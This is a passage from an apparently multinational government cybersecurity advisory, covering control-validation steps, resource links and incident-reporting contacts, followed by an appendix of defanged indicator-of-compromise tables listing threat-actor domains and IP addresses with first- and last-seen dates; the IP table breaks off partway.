• Regularly engage reputable and skilled penetration testing services to evaluate your public attack surface and remediate the most commonly exploited vulnerabilities used by these actors. 

Validate Security Controls

In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory. 

To get started: 

1. Select an ATT&CK technique described in this advisory (see Table 2 to Table 9). 
2. Align your security technologies against the technique. 
3. Test your technologies against the technique. 
4. Analyze your detection and prevention technologies’ performance. 
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data. 
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process. 

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

• For more information on attack surface management, see: 
  • CISA’s Internet Exposure Reduction Guidance; 
  • CISA’s Cyber Hygiene Services for US critical infrastructure; and 
  • NSA’s Attack Surface Management for the US Defense Industrial Base (DIB).
• For additional information on the UK’s National Cyber Security Centre’s (NCSC-UK’s) resources see: 
  • Network Security Fundamentals; 
  • Protective DNS Service; 
  • Guidance Selecting Right Methods to Authenticate Customers; 
  • Guidance Ransomware-Resistant Backups; and 
  • Penetration testing guidance, see Penetration Testing. 
• For more information on sanitizing user input, see: 
  • CISA’s Secure by Design Alert: Eliminating Cross Site Scripting Vulnerabilities;
  • The Open Worldwide Application Security Project’s (OWASP) Input Validation Cheat Sheet; and 
  • OWASP’s Cross-Site Scripting Prevention Cheat Sheet. 
• For more information on protective DNS (PDNS), see: 
  • NSA and CISA’s guidance Selecting a Protective DNS Service; and  
  • NSA’s Protective DNS Service offerings for the US Defense Industrial Base.  
• For more information on LOTL, see ASD’s ACSC and CISA’s joint guidance Identifying and Mitigating Living Off the Land Techniques. 
• For more information on defending Active Directory, see ASD’s ACSC’s joint guidance Detecting and Mitigating Active Directory Compromises. 
• For more information on Canadian Cyber Centre resources, see: 
  • Phishing-resistant MFA; 
  • Top 10 security actions on network segmentation; 
  • Top 10 security actions for patching OS and applications; 
  • Obsolete products (end-of-life); 
  • Preventative security tools; and 
  • Best practices with passphrases and passwords. 

Contact Information

US organizations are encouraged to report suspicious or criminal activity related to information in this advisory to the FBI, CISA, and/or NSA: 

• File a claim with FBI’s Internet Crime Complaint Center (IC3) or contact your local FBI field office, or contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472). When available, please include the following information regarding the incident: 
  • Date, time, and location of the incident; 
  • Type of activity; 
  • Number of people affected; 
  • Type of equipment used for the activity; and 
  • Name of the submitting company or organization, and a designated point of contact. 
• For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov. 

United Kingdom organizations: Report a significant cyber security incident at ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973. 

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations: Report incidents by emailing the Canadian Centre for Cyber Security (Cyber Centre) at contact@cyber.gc.ca, (613) 949-7048, or 1-833-CYBER-88. 

Japan organizations: Report an incident to the National Cybersecurity Office (NCO) via email at first-team@cyber.go.jp or the National Police Agency’s (NPAs) web portal at https://www.npa.go.jp/bureau/cyber/soudan.html. 

New Zealand organizations: Visit ncsc.govt.nz or call 0800 114 115 to report cyber security incidents. 

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the authoring organizations. 

Version History

October 8, 2026: Initial version. 

Appendix A: Indicators of Compromise

See Table 10 to Table 15 for a list of observed IOCs. The IOCs listed in the appendices may or may not be addressed in detail in the body of this document; however, endpoint detection systems can ingest all of these IOCs to help mitigate threat activity. 

Disclaimer: Several of the observed IOCs date back to as early as 2016. The authoring organizations recommend investigating or vetting these IOCs prior to taking action, such as blocking. 

Note: The first and last dates are included in this table, with an asterisk (*) denoting the WHOIS registry expiration date specified within. 

Table 10. Domain Names 

Domain	First Seen	Last Seen
_msdcs.cktime.ooguy[.]com	12/26/2023	7/30/2024
067[.]cz	12/6/2018	1/16/2021
1421.client.96html[.]com	1/18/2019	1/18/2027*
1421.cloud.96html[.]com	1/18/2019	1/18/2027*
1421.support.96html[.]com	1/18/2019	1/18/2027*
154-119-131-252-103-58-216-162-36.m.secshow[.]net	6/26/2023	6/26/2026*
20656.hus1.ptps[.]tk	12/5/2019	7/24/2021
20656.hus3.ptps[.]tk	12/5/2019	7/24/2021
2-12-44-140-78-81-211-109-241.h.secshow[.]net	6/26/2023	6/26/2026*
22852.careers.96html[.]com	1/18/2019	1/18/2027*
22852.careers.trendmicro.96html[.]com	1/18/2019	1/18/2027*
22852.trendmicro.96html[.]com	1/18/2019	1/18/2027*
23175.careers.96html[.]com	1/18/2019	1/18/2027*
23175.careers.trendmicro.96html[.]com	1/18/2019	1/18/2027*
24280.hus1.ptps[.]tk	12/5/2019	7/24/2021
2637596418.softether[.]net	9/22/2023	6/22/2024
28394.careers.96html[.]com	1/18/2019	1/18/2027*
28394.careers.trendmicro.96html[.]com	1/18/2019	1/18/2027*
28394.trendmicro.96html[.]com	1/18/2019	1/18/2027*
28733.careers.trendmicro.96html[.]com	1/18/2019	1/18/2027*
28733.trendmicro.96html[.]com	1/18/2019	1/18/2027*
30773.hus2.ptps[.]tk	12/5/2019	7/24/2021
30773.hus3.ptps[.]tk	12/5/2019	7/24/2021
35584.careers.96html[.]com	1/18/2019	1/18/2027*
35584.careers.trendmicro.96html[.]com	1/18/2019	1/18/2027*
35584.trendmicro.96html[.]com	1/18/2019	1/18/2027*
39583.b.alitagotest[.]cf	1/27/2020	12/7/2021
3w.feeee[.]io	2/8/2024	2/8/2025
44673.careers.96html[.]com	1/18/2019	1/18/2027*
44673.trendmicro.96html[.]com	1/18/2019	1/18/2027*
47298.96html[.]com	1/18/2019	1/18/2027*
47298.client.96html[.]com	1/18/2019	1/18/2027*
47298.cloud.96html[.]com	1/18/2019	1/18/2027*
47298.support.96html[.]com	1/18/2019	1/18/2027*
50669.careers.trendmicro.96html[.]com	1/18/2019	1/18/2027*
51640.careers.trendmicro.96html[.]com	1/18/2019	1/18/2027*
51943.hus1.ptps[.]tk	12/5/2019	7/24/2021
51943.hus3.ptps[.]tk	12/5/2019	7/24/2021
54-2-32-236-208-2-40-107-38.h.secshow[.]net	6/26/2023	6/26/2026*
60928.hus1.ptps[.]tk	12/5/2019	7/24/2021
66-37-178-96-110-2-40-107-38.h.secshow[.]net	6/26/2023	6/26/2026*
74788.careers.96html[.]com	1/18/2019	1/18/2027*
74788.trendmicro.96html[.]com	1/18/2019	1/18/2027*
77692.careers.96html[.]com	1/18/2019	1/18/2027*
77692.careers.trendmicro.96html[.]com	1/18/2019	1/18/2027*
77692.trendmicro.96html[.]com	1/18/2019	1/18/2027*
82262.careers.96html[.]com	1/18/2019	1/18/2027*
82262.careers.trendmicro.96html[.]com	1/18/2019	1/18/2027*
85005.careers.96html[.]com	1/18/2019	1/18/2027*
85005.careers.trendmicro.96html[.]com	1/18/2019	1/18/2027*
85005.trendmicro.96html[.]com	1/18/2019	1/18/2027*
88783.hus1.ptps[.]tk	12/5/2019	7/24/2021
90174.careers.96html[.]com	1/18/2019	1/18/2027*
90174.careers.trendmicro.96html[.]com	1/18/2019	1/18/2027*
96976.careers.96html[.]com	1/18/2019	1/18/2027*
96976.trendmicro.96html[.]com	1/18/2019	1/18/2027*
96cee[.]com	1/7/2016	5/9/2024
96html[.]com	1/18/2019	9/3/2024
98aiblog[.]com	3/11/2024	3/12/2026*
a.alitagotest[.]cf	1/27/2020	12/7/2021
a.studiocloud[.]xyz	12/31/2021	12/3/2024
admin.dellme[.]ml	3/20/2020	8/8/2020
alitagotest[.]cf	1/27/2020	12/7/2021
arforcex[.]com	3/5/2019	5/11/2021
asean.twimg.co[.]uk	9/21/2024	12/15/2024
az.studiocloud[.]xyz	12/31/2021	12/3/2024
b.alitagotest[.]cf	1/27/2020	12/7/2021
bailbonding[.]info	1/3/2020	1/3/2022
bbs.sunmoon[.]website	9/20/2023	9/20/2024
bj-hk.hmbcloud[.]net	3/29/2021	3/29/2021
bj-jp.hmbcloud[.]net	4/10/2021	5/7/2021
blog.98aiblog[.]com	7/12/2024	8/14/2024
bsnl.twimg.co[.]uk	6/17/2024	7/7/2024
careers.96html[.]com	1/18/2019	1/18/2027*
careers.trendmicro.96html[.]com	1/18/2019	1/18/2027*
cch.ooguy[.]com	10/11/2024	10/11/2024
check.96html[.]com	1/18/2019	1/18/2027*
checkapi[.]tk	1/6/2022	4/10/2023
checkinfo[.]tk	9/22/2012	12/14/2022
chr0mail[.]com	6/23/2021	6/23/2026*
cktime.ooguy[.]com	12/26/2023	7/30/2024
client.96html[.]com	1/18/2019	1/18/2027*
cloud.96html[.]com	1/18/2019	1/18/2027*
csrfproxy.studiocloud[.]xyz	12/31/2021	12/3/2024
dasxcyb[.]ga	1/29/2021	1/29/2021
dc-29465b27aa45.96html[.]com	1/18/2019	1/18/2027*
dc-4fe9871cb224.96html[.]com	1/18/2019	1/18/2027*
dc-582fc0f46da9.96html[.]com	1/18/2019	1/18/2027*
dc-843d98722400.96html[.]com	1/18/2019	1/18/2027*
dc-bb503834b7dc.96html[.]com	1/18/2019	1/18/2027*
dc-c11a983d7f83.96html[.]com	1/18/2019	1/18/2027*
dellme[.]ml	3/20/2020	8/8/2020
dns.studiocloud[.]xyz	12/10/2021	5/9/2024
dns361[.]tk	2/7/2022	11/19/2023
dsdsei[.]com	4/10/2018	4/10/2025
eck.giize[.]com	9/28/2024	9/30/2024
eg.twimg.co[.]uk	9/22/2024	12/14/2024
etechhosting.twimg.co[.]uk	9/21/2024	12/16/2024
fcchk.twimg.co[.]uk	9/21/2024	12/14/2024
feeee[.]io	2/8/2024	2/8/2025
findfindx[.]com	1/6/2022	8/10/2023
fukua[.]org	11/24/2017	11/24/2027*
gate.sinica.edu.tw.checkapi[.]cf	1/6/2022	4/10/2023
googles.ddns[.]net	10/22/2021	10/22/2021
gz-hk.hmbcloud[.]net	12/28/2020	1/22/2021
h.secshow[.]net	6/26/2023	6/26/2026*
h5.feeee[.]io	2/8/2024	2/8/2025
halloween.checkapi[.]cf	1/6/2022	4/10/2023
helpuself.ptps[.]tk	12/5/2019	7/24/2021
hgiga.96html[.]com	1/18/2019	1/18/2027*
honey1314520[.]com	11/23/2020	11/23/2022
hook.studiocloud[.]xyz	12/31/2021	12/3/2024
hus1.ptps[.]tk	12/5/2019	7/24/2021
hus3.ptps[.]tk	12/5/2019	7/24/2021
hw1.ptps[.]tk	12/5/2019	7/24/2021
ica.96html[.]com	1/18/2019	1/18/2027*
im.arforcex[.]com	3/4/2019	3/5/2026*
imap.sunmoon[.]website	9/20/2023	9/20/2024
info.96html[.]com	1/18/2019	1/18/2027*
integritytoch[.]com	12/11/2020	12/11/2022
iplc-hk.hmbcloud[.]com	11/30/2020	12/8/2020
javacheck.ooguy[.]com	12/22/2023	6/25/2024
javaupdate.giize[.]com	12/22/2023	6/15/2024
just.checkapi[.]cf	1/6/2022	4/10/2023
kk.dasxcyb[.]ga	1/29/2021	1/29/2021
leicc009[.]ga	5/24/2020	4/24/2021
live.studiocloud[.]xyz	12/31/2021	12/3/2024
ls.twimg.co[.]uk	9/21/2024	12/14/2024
m.secshow[.]net	6/26/2023	6/26/2026*
ma.studiocloud[.]xyz	12/31/2021	12/3/2024
mail.bailbonding[.]info	1/3/2020	1/3/2022
mail.sunmoon[.]website	9/20/2023	9/20/2024
masaplus[.]club	7/22/2021	7/22/2024
microscan[.]me	12/10/2017	12/10/2018
mitt.96html[.]com	1/18/2019	1/18/2027*
ms.studiocloud[.]xyz	12/31/2021	12/3/2024
msedge[.]store	11/9/2023	11/9/2025
mx.sunmoon[.]website	9/20/2023	9/20/2024
natcloudservice[.]com	9/8/2023	9/8/2024
nikoes[.]gq	6/15/2021	3/22/2023
np.twimg.co[.]uk	9/21/2024	11/25/2024
ns1.alitagotest[.]cf	1/27/2020	12/7/2021
ns1.honey1314520[.]com	11/23/2020	11/23/2022
ns1.nikoes[.]gq	6/15/2021	3/22/2023
ns2.nikoes[.]gq	6/15/2021	3/22/2023
one.hmbiplc-01[.]com	4/2/2022	4/2/2022
payment.feeee[.]io	2/8/2024	2/8/2025
pdc._msdcs.cktime.ooguy[.]com	12/26/2023	7/30/2024
ptps[.]tk	12/5/2019	7/24/2021
puc.checkapi[.]tk	1/6/2022	4/10/2023
purple76[.]com	11/11/2021	11/11/2026*
pw.sexytube0[.]com	8/6/2021	4/18/2024
pw2.sexytube0[.]com	10/7/2017	10/8/2027*
random.cktime.ooguy[.]com	12/26/2023	7/30/2024
s3crts.softether[.]net	3/25/2021	7/27/2022
scallpay[.]com	7/3/2023	7/3/2024
search.96html[.]com	1/18/2019	1/18/2027*
secretr.feeee[.]io	2/8/2024	2/8/2025
secshow[.]net	6/26/2023	6/26/2026*
senate.twimg.co[.]uk	9/21/2024	12/14/2024
server.feeee[.]io	2/8/2024	2/8/2025
sexytube0[.]com	10/7/2017	10/8/2027*
shifuj[.]com	6/3/2019	6/5/2019
sh-jp.hmbcloud[.]net	4/10/2021	4/25/2021
shop.96html[.]com	1/18/2019	1/18/2027*
shopify.feeee[.]io	2/8/2024	2/8/2025
smtp.sunmoon[.]website	9/20/2023	9/20/2024
streescans[.]com	5/10/2022	3/4/2025
studiocloud[.]xyz	12/10/2021	5/9/2024
sunmoon[.]website	9/20/2023	9/20/2024
supper.feeee[.]io	2/8/2024	2/8/2025
support.96html[.]com	1/18/2019	1/18/2027*
szxcm-hkg01.iepl.node[.]cm	12/7/2020	1/8/2021
t.checkinfo[.]tk	9/22/2012	12/14/2022
teyan.microscan[.]me	12/10/2017	12/10/2018
tj.twimg.co[.]uk	9/21/2024	12/14/2024
traffic.96html[.]com	1/18/2019	1/18/2027*
trendmicro.96html[.]com	1/18/2019	1/18/2027*
trust[.]feeee	2/8/2024	2/8/2025
tsedws[.]com	6/1/2020	6/1/2026*
txt.studiocloud[.]xyz	12/31/2021	12/3/2024
update.96html[.]com	1/18/2019	1/18/2027*
upgrate.checkapi[.]cf	1/6/2022	4/10/2023
upl.natcloudservice[.]com	9/8/2023	9/8/2024
v3.streescans[.]com	5/10/2022	3/4/2025
vnpt.sexytube0[.]com	10/7/2017	10/8/2027*
vpn21.arforcex[.]com	3/4/2019	3/5/2026*
vpn328433596.softether[.]net	3/28/2023	10/17/2024
vpn614174689.softether[.]net	9/2/2023	9/2/2023
vpn677190427.softether[.]net	4/17/2024	4/30/2024
vpn718535264.softether[.]net	3/11/2022	3/11/2022
vpn823494147.softether[.]net	6/26/2023	6/26/2023
wanfang.accesscam[.]org	9/18/2024	9/26/2024
webdisk.bailbonding[.]info	1/3/2020	1/3/2022
webmail.studiocloud[.]xyz	12/31/2021	12/3/2024
well.96html[.]com	1/18/2019	1/18/2027*
ws.studiocloud[.]xyz	12/31/2021	12/3/2024
wss.studiocloud[.]xyz	12/31/2021	12/3/2024
www.96html[.]com	1/18/2019	1/18/2027*
www.alitagotest[.]cf	1/27/2020	12/7/2021
www.chr0mail[.]com	6/23/2021	6/23/2026*
www.cktime.ooguy[.]com	12/26/2023	7/30/2024
www.dns361[.]tk	2/7/2022	11/19/2023
www.feeee[.]io	2/8/2024	2/8/2025
www.javacheck.ooguy[.]com	6/17/2024	7/25/2024
www.leicc009[.]ga	5/24/2020	4/24/2021
www.msedge[.]store	11/9/2023	11/9/2025
www.mx.sunmoon[.]website	9/20/2023	9/20/2024
www.purple76[.]com	11/11/2021	11/11/2026*
www.smtp.sunmoon[.]website	9/20/2023	9/20/2024
www.sofeter[.]ml	3/13/2023	3/13/2023
www.studiocloud[.]xyz	12/31/2021	12/3/2024
www.sunmoon[.]website	9/20/2023	9/20/2024
www.www.smtp.sunmoon[.]website	9/20/2023	9/20/2024
www.www.sunmoon[.]website	9/20/2023	9/20/2024
xassxxdns.alitagotest[.]cf	1/27/2020	12/7/2021
ximmd.sexytube0[.]com	7/14/2020	10/31/2020
zerogravity1986.softether[.]net	12/9/2023	12/9/2023

Table 11. IP Addresses 

IP Address	First Seen	Last Seen
1.34.140[.]5	3/15/2023	3/20/2023
2.58.242[.]74	12/2/2024	12/2/2024
5.188.34[.]134	8/30/2024	9/12/2024
5.188.230[.]69	8/7/2023	4/19/2024
8.219.119[.]5	9/12/2024	9/12/2024
14.1.98[.]160	3/22/2024	4/28/2024
14.128.33[.]8	12/4/2023	1/9/2024
14.1.98[.]223	6/20/2023	10/9/2023
27.154.215[.]126	7/11/2023	7/11/2023
27.154.105[.]36	2/3/2024	2/3/2024
27.149.115[.]78	3/22/2023	3/22/2023
27.149.79[.]35	3/23/2023	3/23/2023
31.232.221[.]35	5/14/2024	5/17/2024
36.112.10[.]102	9/4/2023	9/12/2024
36.112.188[.]119	8/13/2023	8/13/2023
36.112.186[.]135	8/14/2023	8/14/2023
36.112.206[.]121	8/12/2023	8/13/2023
36.249.156[.]117	11/29/2023	11/29/2023
36.249.156[.]122	11/15/2023	11/18/2023
36.249.156[.]159	5/31/2023	6/5/2023
36.249.156[.]178	5/22/2023	12/6/2023
36.249.156[.]205	11/13/2023	11/13/2023
36.249.156[.]206	11/23/2023	11/24/2023
36.249.156[.]220	6/7/2022	6/7/2022
36.249.156[.]226	5/8/2023	5/13/2023
36.112.200[.]35	8/9/2023	8/10/2023
36.249.156[.]51	11/20/2023	11/22/2023
36.112.198[.]68	8/13/2023	8/13/2023
36.249.156[.]69	5/31/2023	5/31/2023
36.112.10[.]99	9/19/2024	9/19/2024
39.72.220[.]221	3/20/2023	3/20/2023
42.73.98[.]232	5/13/2024	5/13/2024
45.123.189[.]19	11/16/2021	2/14/2022
45.32.140[.]182	1/8/2021	1/8/2021
45.32.232[.]146	12/18/2020	12/25/2020
45.63.123[.]142	6/4/2021	7/25/2024
45.63.116[.]190	11/20/2019	11/20/2019
45.131.69[.]197	3/31/2023	3/31/2023
45.76.169[.]12	5/11/2020	5/13/2020
45.77.195[.]169	6/12/2020	6/16/2020
45.32.61[.]246	11/11/2024	12/16/2024
45.77.231[.]209	1/25/2024	6/5/2024
45.76.37[.]168	12/20/2019	12/20/2019
45.63.59[.]121	3/19/2020	3/19/2020
45.77.11[.]47	9/29/2020	9/29/2020
45.32.84[.]223	4/23/2020	5/9/2020
45.63.62[.]217	10/28/2020	11/4/2020
45.63.48[.]36	1/10/2020	1/10/2020
45.76.43[.]37	2/17/2020	2/27/2020
45.76.66[.]19	4/16/2024	5/6/2024
45.76.243[.]67	7/1/2020	7/9/2020
45.63.17[.]9	5/9/2024	6/19/2024
45.77.28[.]77	12/5/2021	4/3/2023
45.76.194[.]89	11/22/2021	9/25/2023
45.76.37[.]85	2/10/2020	2/10/2020
45.63.95[.]62	4/10/2020	4/13/2020
45.63.94[.]71	9/30/2019	12/16/2024
45.77.86[.]70	12/21/2019	12/23/2019
49.93.136[.]14	3/25/2024	3/25/2024
49.93.184[.]194	3/25/2024	3/25/2024
59.120.144[.]153	5/24/2023	5/25/2023
59.124.120[.]178	2/20/2023	9/27/2023
59.120.167[.]25	1/15/2024	1/15/2024
59.125.128[.]54	3/30/2023	10/7/2023
59.120.58[.]176	3/8/2022	3/8/2022
60.250.199[.]112	11/15/2022	12/1/2022
60.250.146[.]19	11/17/2022	12/18/2023
60.251.155[.]19	1/4/2023	9/23/2023
60.248.152[.]204	5/11/2023	5/16/2023
59.120.82[.]67	11/22/2023	1/8/2024
60.184.242[.]224	3/23/2023	3/23/2023
60.251.205[.]37	12/20/2021	12/23/2021
60.220.43[.]193	10/3/2023	10/3/2023
60.251.58[.]145	6/8/2023	1/22/2024
60.248.1[.]64	12/8/2022	4/23/2023
60.251.201[.]8	5/16/2023	3/5/2024
60.248.88[.]151	6/8/2023	2/26/2024
60.248.110[.]97	3/31/2023	1/4/2024
60.249.239[.]86	9/18/2021	1/5/2022
61.220.112[.]137	5/25/2023	5/26/2023
60.220.84[.]41	2/9/2024	2/9/2024
61.247.165[.]27	4/8/2022	4/11/2022
60.220.84[.]63	10/1/2023	10/1/2023
61.220.35[.]15	5/24/2023	9/7/2023
61.221.55[.]4	5/24/2024	11/13/2024
61.222.245[.]73	4/11/2023	7/25/2023
61.219.118[.]99	12/1/2022	11/23/2023
61.216.74[.]97	1/29/2024	1/29/2024
64.176.38[.]35	8/30/2024	12/16/2024
65.20.97[.]251	1/25/2024	6/5/2024
66.42.103[.]188	11/26/2019	11/26/2019
66.42.42[.]109	7/11/2024	8/20/2024
66.42.40[.]189	9/4/2024	12/16/2024
66.42.36[.]236	2/28/2024	7/25/2024
66.42.60[.]242	2/23/2024	12/16/2024
66.42.77[.]138	2/9/2022	6/19/2024
77.111.226[.]5	4/19/2023	4/19/2023
78.141.221[.]241	2/29/2020	3/10/2020
78.141.238[.]97	1/25/2024	6/5/2024
84.17.57[.]40	4/4/2023	4/4/2023
89.187.163[.]216	9/19/2024	9/19/2024
95.179.189[.]106	6/4/2020	6/4/2020
95.179.235[.]135	1/27/2021	1/27/2021
95.179.186[.]251	2/2/2021	2/2/2021
98.159.37[.]4	7/4/2024	7/4/2024
103.107.198[.]117	9/26/2023	9/26/2023
103.16.231[.]220	3/7/2022	7/4/2024
103.16.231[.]254	11/9/2022	2/10/2023
103.233.253[.]197	3/19/2023	9/6/2023
103.25.254[.]210	10/28/2019	11/26/2019
103.149.200[.]44	4/25/2023	10/11/2023
103.179.45[.]203	9/23/2024	12/16/2024
103.73.160[.]232	3/17/2023	3/17/2023
103.77.211[.]193	5/8/2024	5/8/2024
103.106.230[.]88	6/25/2024	6/25/2024
103.172.80[.]35	11/26/2022	11/30/2022
104.238.149[.]146	3/6/2020	7/8/2024
104.238.182[.]153	6/24/2020	7/1/2020
104.238.152[.]209	2/24/2022	4/2/2022
103.51.145[.]98	4/26/2023	5/28/2023
103.73.162[.]99	3/17/2023	11/20/2023
104.156.231[.]98	5/29/2020	6/2/2020
106.53.181[.]231	5/31/2024	5/31/2024
106.122.171[.]92	1/31/2024	1/31/2024
108.61.181[.]104	7/11/2024	12/12/2024
108.61.177[.]81	1/25/2024	6/5/2024
110.42.10[.]148	4/10/2021	5/5/2021
110.85.170[.]125	2/10/2020	2/10/2020
111.203.153[.]245	11/5/2023	11/5/2023
110.74.172[.]80	10/29/2021	2/17/2022
111.55.138[.]141	7/4/2024	7/4/2024
111.55.137[.]40	7/5/2024	7/5/2024
111.203.153[.]95	11/5/2023	11/5/2023
112.5.168[.]102	2/21/2022	2/21/2022
112.5.168[.]104	3/29/2021	3/29/2021
112.5.145[.]154	6/29/2023	6/29/2023
112.5.143[.]161	6/27/2023	6/27/2023
112.5.168[.]138	4/24/2022	4/24/2022
112.5.168[.]151	7/20/2023	8/4/2023
112.5.168[.]160	10/31/2023	11/9/2023
112.54.132[.]162	7/3/2023	7/5/2023
112.5.168[.]187	8/27/2021	8/27/2021
112.5.168[.]218	8/31/2023	9/1/2023
112.5.168[.]231	8/16/2023	8/17/2023
112.5.168[.]234	6/5/2023	6/16/2023
112.5.168[.]238	4/6/2023	5/18/2023
112.51.26[.]151	6/26/2023	6/29/2023
112.66.108[.]16	8/14/2023	8/14/2023
112.5.168[.]29	11/11/2021	11/11/2021
112.51.44[.]102	7/10/2023	7/18/2023
112.51.44[.]142	6/16/2023	6/16/2023
112.51.44[.]143	11/21/2023	11/21/2023
112.51.44[.]188	12/15/2022	12/20/2022
112.51.44[.]189	12/4/2023	12/4/2023
112.51.44[.]20	11/27/2023	11/29/2023
112.51.44[.]206	9/6/2023	9/22/2023
112.51.44[.]217	8/6/2022	8/6/2022
112.51.44[.]234	4/24/2022	5/5/2022
112.5.168[.]65	3/18/2022	3/21/2022
112.51.44[.]37	7/21/2023	8/2/2023
112.80.50[.]138	6/5/2024	6/5/2024
112.51.44[.]57	7/4/2023	7/5/2023
112.5.168[.]93	3/26/2020	3/26/2020
113.76.136[.]171	3/23/2023	3/23/2023
114.246.237[.]111	6/4/2024	6/4/2024
114.255.70[.]18	6/30/2022	9/1/2023
114.255.70[.]20	9/24/2023	7/16/2024
114.255.70[.]30	5/26/2023	7/14/2023
114.246.93[.]103	4/18/2023	4/18/2023
114.246.94[.]102	11/19/2023	1/11/2024
114.35.122[.]83	3/28/2024	12/13/2024
114.246.94[.]154	6/9/2024	6/10/2024
114.246.92[.]58	6/8/2023	6/8/2023
114.246.92[.]71	8/23/2023	9/11/2023
117.133.51[.]176	3/21/2024	3/21/2024
117.61.244[.]135	10/15/2020	10/15/2020
117.56.214[.]246	6/8/2023	7/4/2023
117.132.198[.]70	7/5/2024	7/5/2024
117.92.127[.]132	3/24/2023	3/24/2023
117.130.201[.]90	3/21/2024	3/21/2024
118.163.217[.]199	3/12/2024	4/17/2024
118.163.197[.]241	5/12/2023	10/16/2023
118.163.31[.]226	5/16/2024	5/28/2024
118.163.104[.]67	3/11/2024	12/6/2024
118.163.142[.]80	3/20/2024	3/22/2024
118.163.3[.]76	3/18/2024	10/29/2024
119.116.159[.]217	3/24/2023	3/24/2023
119.13.79[.]145	3/20/2023	3/21/2023
120.233.10[.]212	4/2/2022	4/2/2022
120.36.251[.]100	12/21/2023	12/21/2023
120.36.248[.]104	1/2/2024	1/2/2024
120.42.128[.]165	3/19/2023	3/19/2023
120.36.250[.]103	10/20/2023	5/31/2024
120.36.254[.]100	8/19/2021	8/19/2021
120.36.248[.]109	5/11/2021	5/11/2021
120.36.253[.]106	1/12/2023	1/12/2023
120.36.255[.]105	10/29/2021	11/1/2021
120.36.251[.]110	3/7/2024	3/7/2024
120.36.251[.]11	6/12/2024	6/13/2024
120.36.249[.]114	3/7/2022	3/10/2022
120.36.251[.]114	1/4/2024	1/8/2024
120.36.254[.]112	12/26/2022	12/26/2022
120.36.249[.]121	6/19/2024	6/19/2024
120.36.249[.]122	9/28/2022	9/28/2022
120.36.254[.]119	8/19/2021	8/19/2021
120.36.254[.]120	10/25/2023	10/27/2023
120.36.249[.]127	2/10/2023	2/14/2023
120.36.251[.]130	10/18/2021	10/21/2021
120.36.255[.]127	8/5/2022	8/6/2022
120.36.252[.]13	3/31/2023	3/31/2023
120.36.250[.]133	7/11/2022	7/14/2022
120.36.250[.]134	7/15/2021	7/15/2021
120.36.250[.]135	2/25/2022	3/3/2022
120.36.254[.]131	6/30/2023	6/30/2023
120.36.254[.]135	8/27/2021	8/27/2021
120.36.251[.]141	12/13/2022	12/13/2022
120.36.250[.]142	1/12/2024	1/12/2024
120.41.125[.]225	7/11/2023	7/11/2023
120.36.253[.]148	8/5/2021	8/11/2021
120.36.250[.]152	5/23/2024	5/24/2024
120.36.252[.]151	11/15/2023	11/15/2023
120.36.253[.]152	4/12/2021	5/19/2023
120.36.254[.]151	3/21/2024	3/22/2024
120.36.255[.]153	9/25/2023	9/26/2023
120.36.252[.]157	1/28/2023	1/28/2023
120.37.162[.]246	3/21/2023	3/21/2023
120.36.252[.]166	9/6/2024	9/6/2024
120.36.249[.]172	10/17/2022	10/21/2022
120.36.253[.]169	12/10/2021	12/10/2021
120.36.252[.]175	2/23/2023	2/23/2023
120.36.254[.]175	5/31/2022	5/31/2022
120.36.251[.]179	5/17/2021	5/24/2021
120.36.253[.]178	4/28/2021	4/29/2021
120.36.252[.]18	5/9/2024	5/9/2024
120.36.252[.]181	4/21/2021	4/27/2021
120.36.248[.]185	2/26/2024	2/26/2024
120.36.253[.]180	5/15/2024	5/17/2024
120.36.255[.]179	3/19/2024	3/20/2024
120.36.253[.]186	2/27/2024	3/4/2024
120.36.253[.]187	9/24/2021	9/24/2021
120.36.250[.]19	10/9/2021	10/9/2021
120.36.251[.]19	5/24/2021	5/24/2021
120.36.251[.]190	8/29/2023	8/31/2023
120.36.255[.]189	6/21/2023	6/27/2023
120.41.244[.]15	1/25/2024	1/25/2024
120.36.254[.]192	7/6/2021	7/7/2021
120.36.249[.]197	8/13/2021	8/16/2021
120.36.248[.]200	11/17/2022	11/17/2022
120.36.253[.]195	11/22/2023	11/24/2023
120.36.251[.]2	3/4/2022	3/4/2022
120.36.251[.]20	4/25/2022	4/25/2022
120.36.255[.]196	6/3/2024	6/3/2024
120.36.251[.]202	12/24/2021	12/24/2021
120.36.254[.]202	8/23/2021	8/25/2021
120.36.250[.]207	7/14/2023	7/19/2023
120.36.250[.]210	12/15/2023	12/15/2023
120.36.249[.]213	5/9/2022	5/13/2022
120.36.251[.]213	10/13/2023	10/16/2023
120.36.253[.]212	4/24/2022	4/24/2022
120.36.251[.]215	4/19/2023	4/19/2023
120.36.252[.]215	9/8/2022	9/8/2022
120.36.255[.]214	10/7/2023	10/7/2023
120.36.250[.]221	11/2/2023	11/2/2023
120.36.255[.]22	3/26/2024	3/28/2024
120.36.251[.]230	12/4/2023	12/4/2023
120.36.255[.]228	11/8/2021	11/11/2021
120.36.253[.]23	11/7/2023	11/7/2023
120.36.253[.]231	12/1/2022	12/1/2022
120.36.251[.]234	10/12/2021	10/12/2021
120.36.248[.]237	12/28/2021	12/28/2021
120.36.253[.]232	3/31/2023	3/31/2023
120.36.253[.]233	4/15/2024	4/20/2024
120.36.249[.]238	9/20/2022	9/22/2022
120.36.251[.]237	2/18/2022	2/24/2022
120.36.255[.]233	2/6/2024	2/6/2024
120.36.255[.]237	6/15/2022	6/21/2022
120.36.249[.]245	5/24/2022	5/25/2022
120.36.252[.]242	3/5/2024	3/6/2024
120.36.255[.]24	9/8/2023	9/8/2023
120.36.249[.]248	7/23/2021	7/23/2021
